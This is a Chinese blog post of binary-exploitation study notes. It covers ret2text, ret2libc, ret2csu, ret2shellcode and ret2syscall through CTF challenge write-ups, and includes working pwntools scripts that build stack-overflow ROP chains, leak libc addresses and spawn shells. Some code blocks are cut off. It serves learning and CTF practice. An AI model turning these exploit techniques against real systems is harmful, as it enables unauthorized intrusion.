Pwn笔记(1) ret2系列
想了一下,还是把之前学的一点Pwn放上来吧,本文的例题都是64位的程序,这些技术在32位程序上实际上也是类似的
ret2text
ret2text是控制程序执行程序本身已经有的代码(即.text
段的代码),在控制程序执行代码的时候也可以执行几段不连续的已有代码(即gadgets),这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例:[BJDCTF 2020]babystack2.0
题目:BJDCTF 2020-babystack2.0 | NSSCTF
checksec可以知道: Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
用IDA打开附件,可以看到:
int __cdecl main(int argc, const char **argv, const char **envp) |
可以看到如下栈,我们的目的是返回地址(也就是IDA变量栈中标注r
的地方,那里实际上是main
的返回地址) -0000000000000010 buf db 12 dup(?)
-0000000000000004 nbytes dq ?
+0000000000000004 db ? ; undefined
+0000000000000005 db ? ; undefined
+0000000000000006 db ? ; undefined
+0000000000000007 db ? ; undefined
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}int
类型的nbytes<10
,再输入对应长度的字符串buf
(若超出nbytes
的长度将无法读入,若nbytes
为符合条件的正数,我们并不能通过buf
来利用栈溢出漏洞),但是问题在于read(0, buf, (unsigned int)nbytes);
处,nbytes
会被转换成usigned int
,显然我们可以输入-1让nbytes
在转换的时候溢出,解除read
的长度限制,从而达到通过buf
实现栈溢出的效果。 查看汇编:
.text:0000000000400726 public backdoor |
看到backdoor
函数的起始地址为0x400726,可以写出代码如下: from pwn import *
io = remote("ip", port)
io.recvuntil(b"name:")
payload = b'-1'
io.sendline(payload)
io.recvuntil(b"name?")
payload = b'a' * 0x18 + p64(0x400726)
io.sendline(payload)
io.interactive()
ret2libc
ret2libc 即控制动态链接编译的程序执行 libc 中的函数,通常是返回至某个函数(通常是puts
函数)的 plt 表地址或者函数的具体位置 (即函数对应的 got 表项的内容),一般情况下会选择劫持程序执行 system("/bin/sh")
,故而此时我们需要知道 system
函数的地址和/bin/sh
的地址。 在Linux下,动态链接是通过plt和got来实现的,调用动态链接函数时会先去plt表和got表中寻找该函数的真实地址,plt表会指向got表中的地址,got表指向libc中的地址,所以在程序运行时:got表会包含函数的真实地址(即libc基址+函数相对libc的偏移),而我们可以通过plt表来直接调用函数。
利用ret2libc劫持程序一般有一个溢出点,要进行两次劫持:
- 第一次劫持:要劫持程序泄露出某个函数的地址(例如
puts
,write
等),从而计算出libc的基址 - 第二次劫持:控制程序通过上面获得的libc基址,通过libc中
system
函数以及/bin/sh
的偏移来执行system("/bin/sh")
来获得shell
在第一次劫持中,我们一般要构造出通过输出函数(例如puts
,write
,printf
)来输出待泄露函数的真实地址,从而计算出libc的基址,计算方法为:
lib基址=函数真实地址-该函数相对libc基址的偏移量(即该函数在libc中的地址)
下面以64位程序为基础,对通过puts
函数和write
函数进行函数真实地址泄露进行讲解:
puts
函数
puts
函数只有一个参数,这个参数所使用的寄存器为rdi
寄存器:

为使用puts
函数时,我们只需要通过pop rdi
将参数从栈顶弹出到rdi
寄存器中再调用puts
函数进行输出即可,在ret2libc中,我们一般会在栈溢出后构造如下rop链:
pop_rdi→目标函数的got表地址→puts的plt表地址→要回到的函数地址(一般是main函数) |
注:
pop rdi
一般会存在于__libc_csu_init
之中,为pop r15
(41 5F
)的后半部分(5F
)
这样之后,我们就可以读取到目标函数的真实地址,而在64位程序中,目标函数真实地址一般由7f
开头且占8个字节,而在32位程序中,目标函数的真实地址一般以f7
开头且占4个字节,那么在本题中我们可以通过下面这条语句来读出函数的真实地址:
u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) |
泄露出真实地址后,我们就可以通过LibcSearcher
库或者libc-database来找到对应的libc版本(除非题目给了),从而计算出libc的基地址,然后就可以构造出system("/bin/sh")
来获取shell了。
例:[BJDCTF 2020]babyrop
题目:BJDCTF 2020-babyrop | NSSCTF
通过IDA打开程序可以看见:

这里并没有system
函数,checksec可以看到:

发现既没有Canary也没有PIE保护,所以判断需要通过ret2libc来获取shell,可以看到vuln
函数内容为:
ssize_t vuln() |
明显read
函数存在溢出,那么我们可以通过如下代码来构造payload来泄露puts
函数的真实地址: puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400733
ret = 0x4004c9
vuln = 0x40067D
payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)puts
的真实地址之后,我们就可以通过LibcSearcher
来找到所有可能的libc版本(可能要多试几遍),或者我们可以通过泄露多个函数的真实地址来使用libc-database确定libc的版本:
通过LibcSearcher来找到libc版本
可以写出代码如下: from pwn import *
from LibcSearcher import *
p = remote("ip", port)
elf = ELF("./pwn")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400733
ret = 0x4004c9
vuln = 0x40067D
payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
p.sendlineafter(b"Pull up your sword and tell me u story!", payload)
puts_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of puts is", hex(puts_real))
libc = LibcSearcher("puts", puts_real)
libc_base = puts_real - libc.dump("puts")
print("[+] The base address of libc is", hex(libc_base))
system = libc_base + libc.dump("system")
sh = libc_base + libc.dump("str_bin_sh")
payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(sh) + p64(system) + p64(vuln)
p.sendlineafter(b"Pull up your sword and tell me u story!", payload)
p.interactive()libc6_2.23-0ubuntu10_amd64
,在进行如下交互之后我们就可以获得shell了:

通过libc-database确定libc版本
我们可以通过如下代码来输出puts
和read
的真实地址: from pwn import *
p = remote("ip", port)
elf = ELF("./pwn")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
pop_rdi = 0x400733
ret = 0x4004c9
vuln = 0x40067D
payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
p.sendlineafter(b"Pull up your sword and tell me u story!", payload)
puts_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of puts is", hex(puts_real))
payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(vuln)
p.sendlineafter(b"Pull up your sword and tell me u story!", payload)
read_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of read is", hex(read_real))

(值得注意的是,由于libc
每一次运行的基址都是不一样的,所以每一次运行得到的结果都不同),那么我们可以通过在libc-database中进行如下操作找到两个libc
版本:

我们可以看到对于这两个libc版本关键内容如下:

对比发现关键内容均一致(特别是我们关心的system
函数和/bin/sh
字符串)
我们任选一个下载,之后通过如下代码就可以得到shell了:
from pwn import * |
write
函数
write
函数有三个参数,这三个参数分别使用rdi
,rsi
和rdx
三个寄存器,分别存储文件描述符fd
(通常设置为1表示输出流),要输出的数据buf
以及输出长度n

在一般情况下,程序中并不会刚刚好同时包含pop rdi; retn
,pop rsi; retn
以及pop rdx; retn
这三条语句,这种时候就要我们通过ret2csu技术来控制寄存器存入我们想要的值来获取目标函数的真实地址。
例:[HNCTF 2022 WEEK2]ret2csu
题目:HNCTF 2022 WEEK2-ret2csu | NSSCTF
checksec可以看到:

没有任何保护,所以可以通过ret2libc来获取shell,观察函数表:

发现没有puts
函数,只有write
函数,所以我们要考虑用write
函数来泄露libc
基址,查找pop rdi
,pop rsi
以及pop rdx
可以看到:

pop rdx
是缺失的,所以我们要利用ret2csu技术来向这三个寄存器内置入我们想要的值,我们要存入的值如下表:
register | value |
---|---|
rdi |
1 |
rsi |
write 函数的got 表地址 |
rdx |
写数据的长度 |
ret2csu的一些细节在这里不多赘述,我们直接看__libc_csu_init
函数的汇编,可以看到:

以及:

从第一块可以看出寄存器之间有如下对应关系:
r14
寄存器对应rdx
r13
寄存器对应rsi
r12
寄存器的低32位对应rdi
的低32位(即edi
)
故对于第二块,几个寄存器中要存入的值如下表所示:
register | value |
---|---|
rbx |
0 |
rbp |
1 |
r12 |
1 |
r13 |
write 函数的got 表地址 |
r14 |
写数据的长度 |
r15 |
write 函数的got 表地址 |
所以我们可以通过构造如下payload来获取write
函数的got表地址:
payload = b'a' * 0x100 + b'=Triode=' + p64(pop_chain) |
其中pop_chain=0x4012A6
指从栈顶pop
元素到寄存器的那串汇编,mov_reg=0x401290
指移动寄存器的那串汇编。
那么我们就可以通过ret2libc来获得shell了,代码如下:
from pwn import * |
(这题给了libc
,就不用我们这么费心思去找了)
结果如下:

ret2csu
在64位程序中存在一段万能的gadgets代码,这段代码可以控制rbx
,rbp
,r12
,r13
,r14
,r15
,rdx
,rsi
及edi
(rdi
的低32位),同时可以call
指定的地址,而这段代码存在于__libc_csu_init
(用于动态链接的程序中对libc的初始化)这个函数之中,这个函数的汇编代码如下(截取自某道题目的汇编代码):

值得我们注意的有两段:
第一段(记为csu1)为:
mov rdx, r14 |
前三行分别表示: 1. 将寄存器r14
的值赋给rdx
2. 将寄存器r13
的值赋给rsi
3. 将寄存器r12
的低32位的值赋给edi
(rdi
的低32位)
后面一行(ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
)会调用r15+rbx*8
指向的函数(值得注意的是,有时候r12
会与r15
的用法对调);最后三行则表示将rbx+1
与rbp
进行比较,若不相等则会重复执行这一段段汇编代码,在一般利用的时候,我们会令rbx
等于0,而rbp
等于1,这既能直接调用r15
指向的函数,也能通过这个比较.
而值得注意的第二段(记为csu2)为:
add rsp, 8 |
这段代码首先将rsp
加8,这行代码一般可以忽略,而后面则是依次将栈顶元素弹出至rbx
,rbp
,r12
,r13
,r14
,r15
通过这段汇编以及上面提到的那一段汇编,我们可以控制的寄存器有:rbx
,rbp
,rdx
,rsi
,rdi
的低32位(即edi
),r12
,r13
,r14
及r15
,通过这两段代码,我们就可以控制很多参数,算是一段万能的gadgets.
在利用的时候,我们一般会先执行csu2,将一些我们想要的参数压入栈之后依次弹出到对应寄存器中,再去执行csu1,我们注意到,csu1的末尾并没有ret
,也就是说,在执行完csu1
之后,程序还会再次执行csu2,所以在构造payload的时候,若我们不需要再次操控寄存器的值,就可以在csu1
之后添加一串长度为0x38(也就是7乘8)的垃圾数据(如果要操控就再构造一次就行)。
在csu2里面隐藏了一段
pop rdi
以及一段pop rsi
,因为pop rdi
的机器码为5F
,而pop r15
的机器码为41 5F
,这个时候我们就可以截取pop r15
的后半段来得到pop rdi
;又由于pop rsi
的机器码为5E
,而而pop r14
的机器码为41 5E
,所以我们就可以截取pop r14
的后半段来得到pop rsi
,所以需要利用pop rdi
与pop rsi
两段汇编的时候往往会来这里找.
例:[0xgame 2024 Week1] ret2csu
题目附件在这里能找到:0xGame2024/Pwn at main · X1cT34m/0xGame2024
checksec可以看到:

并没有开启任何保护,看到main
函数有:

这里让我们向something
中输入一些东西,显然这个something
在内存中,而后面要输入buf
,buf
的空间为16字节,但是可以输入的字节数为0x60,明显存在栈溢出,但是后面对buf
的长度进行比较,要求不能超过0x10,我们可以通过\x00
截断来绕过,现在我们看溢出之后我们需要执行什么操作,寻找发现有一个函数:

里面有一个需要传入参数的execve
,可以看到它的三个参数分别为:

三个参数分别是:
filename
,存在rdi
寄存器内,表示准备载入当前进程空间的新程序的路径名;argv[]
,存在rsi
寄存器内,表示传给新进程的命令行参数;envp[]
,讯在rdx
寄存器内,指定了新程序的环境列表.
所以我们要利用execve
这个函数,我们向三个寄存器中存入数据的对应关系如下:
register | value |
---|---|
rdi |
/bin/sh 的地址 |
rsi |
0 |
rdx |
0 |
对于/bin/sh
,我们可以通过向something
中写入来得到,现在解决向函数内传入参数的问题,通过查找可以发现:

缺少pop rdx
这一条重要的指令,所以我们考虑使用ret2csu,观察该程序的__libc_csu_init
函数,可以发现有如下两段汇编:
第一段为(记作csu1
):
loc_4013A0: |
第二段为(记作csu2
): add rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retncsu1
中各寄存器的对应关系,我们可以通过csu2
向寄存器中存入如下数据:
register | value |
---|---|
rbx |
0 |
rbp |
1 |
r12 |
/bin/sh 的地址 |
r13 |
0 |
r14 |
0 |
r15 |
execve 的got表地址 |
第一段为(记作csu1
):
payload = b'\x00' * 0x10 + b'=Triode=' |
所以我们可以写出攻击代码如下(由于赛题环境早已关闭,故这里在本地打): from pwn import*
p = process("./pwn")
elf = ELF("./pwn")
csu1 = 0x4013A0
csu2 = 0x4013B6
sh = 0x404090
main = 0x401275
execve_got = elf.got["execve"]
p.sendlineafter(b'The little doll is tired, say goodnight to her~\n', b'/bin/sh\x00')
payload = b'\x00' * 0x10 + b'=Triode='
payload += p64(csu2)
payload += p64(0) # add rsp, 8
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(sh) # pop r12
payload += p64(0) # pop r13
payload += p64(0) # pop r14
payload += p64(execve_got) # pop r15
payload += p64(csu1)
payload += b'\x00' * 0x38 + p64(main)
p.sendlineafter(b'What else do you want to do?\n', payload)
p.interactive()

ret2shellcode
ret2shellcode指通过栈溢出控制程序执行shellcode,而shellcode往往需要我们自己编写,而在pwntools
中可以利用asm(shellcraft.sh())
进行编写,在一些情况下也会用到一些特殊的shellcode,此时我们要向程序中填充可执行的代码。
在栈溢出的基础上,若想执行shellcode,则我们写入shellcode的区域一定要有可执行权限(例如bss
段,data
段,没有被保护的stack
段以及可写可执行的heap
段)
例:[HNCTF 2022 Week1] ret2shellcode
题目:HNCTF 2022 Week1-ret2shellcode | NSSCTF
checksec可以看到:

发现堆栈不可执行,但是没有其他保护,利用IDA打开后可以看到main函数:

可以看到我们需要输入一个字符串s
,发现在这个read
函数处存在栈溢出,但只能刚刚好覆盖到返回地址,又可以看到:strcpy(buff, s)
将我们输入的字符串s
被复制到了buff
上面,我们可以看到,buff
是在bss
段上的:

所以我们可以利用ret2shellcode技术,向buff
中写入shellcode,然后通过栈溢出来执行buff
中的shellcode即可,攻击代码如下:
from pwn import * |
运行就可以得到shell了:

注:一般而言,程序都会开启堆栈保护,所以我们通常会向
bss
段或data
段写入shellcode,有时候也会利用ret2csu与ret2syscall来向可读可写可执行区段写入shellcode来攻击
ret2syscall
ret2syscall顾名思义就是控制系统执行系统调用来获得shell,一般在程序静态链接的情况下使用(因为静态链接的时候没有办法使用ret2libc技术进行get shell)
在32位程序中,ret2syscall主要依赖于int 0x80
汇编段,而在64位系统中,ret2syscall则主要依赖于syscall
汇编段,这两段汇编都会通过调用一些寄存器的值来进行系统调用,Linux系统的系统调用可以实现的函数,对应的编号以及参数所存放的寄存器可以在Linux System Call Table中查询,常用的一般有read
,write
以及execve
。ret2syscall有时需要用到ret2csu的技术来向指定寄存器来写入想要的内容。
例:[CISCN 2023 初赛] 烧烤摊儿
题目:CISCN 2023 初赛-烧烤摊儿 | NSSCTF
通过file
命令可以看到这是个静态链接的程序:

直接IDA反编译可以看到:

显然有一个类似商店菜单的东西,发现有个if ( own )
的判断,交叉引用own
这个变量发现会进入vip
函数,该函数代码如下:

(因为编码问题,中文并不能正常显示)
通过对功能的分析可以大致知道当我们余额大于100000
的时候可以把商店买下来(也就是让own
等于1
),此时我们就可以进入gaiming
函数(可以给商店改名)。翻阅函数发现pijiu
这个函数在购买的时候似乎并没有对数量进行限制:

也就是说我们可以通过购买负数数量的商品来让自己的余额增加,从而买下商店,先看看gaiming
函数:

可以看到我们可以通过scanf
输入字符串进行改名,并将改的名字放到处于data段上的name
中,因为是静态链接的程序,所以并不能通过ret2libc技术来get shell,那么就可能需要使用ret2syscall技术来get shell了,通过ROPgadget可以找到syscall
所在的位置:

通过查询可以知道在64位程序中execve
的系统调用编号为0x3b
(存放在rax
寄存器中),且rdi
,rsi
,rdx
寄存器中分别存放filename
,argv
以及envp
,(三个参数的意义在ret2csu的例题中有提及)那么我们可以通过构造execve('/bin/sh', 0, 0)
来实现获得shell,通过寻找可以分别找到pop rax
,pop rdi
,pop rsi
以及一条pop rdx pop rbx
,那么就可以通过先向处于data段的name
中存入/bin/sh
,随后构造如下rop链即可通过ret2syscall来获得shell:
p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx_pop_rbx) + p64(0) + p64(0) + p64(syscall) |
由此可以得到最终的攻击代码: from pwn import *
p = remote("ip", port)
pop_rdi = 0x40264f
pop_rax = 0x458827
pop_rsi = 0x40a67e
pop_rdx_pop_rbx = 0x4a404b
syscall = 0x402404
sh = 0x4E60F0
p.sendlineafter(b'> ', b'1')
p.recv()
p.sendline(b'1')
p.recv()
p.sendline(b'-1000000')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'> ', b'5')
payload = b'/bin/sh\x00' + b'a' * (0x20 - 8) + b'=Triode=' + p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx_pop_rbx) + p64(0) + p64(0) + p64(syscall)
p.recv()
p.sendline(payload)
p.interactive()

在一些情况下也可以通过ret2syscall来对其他函数进行调用来达到目标,在此就不过多赘述了.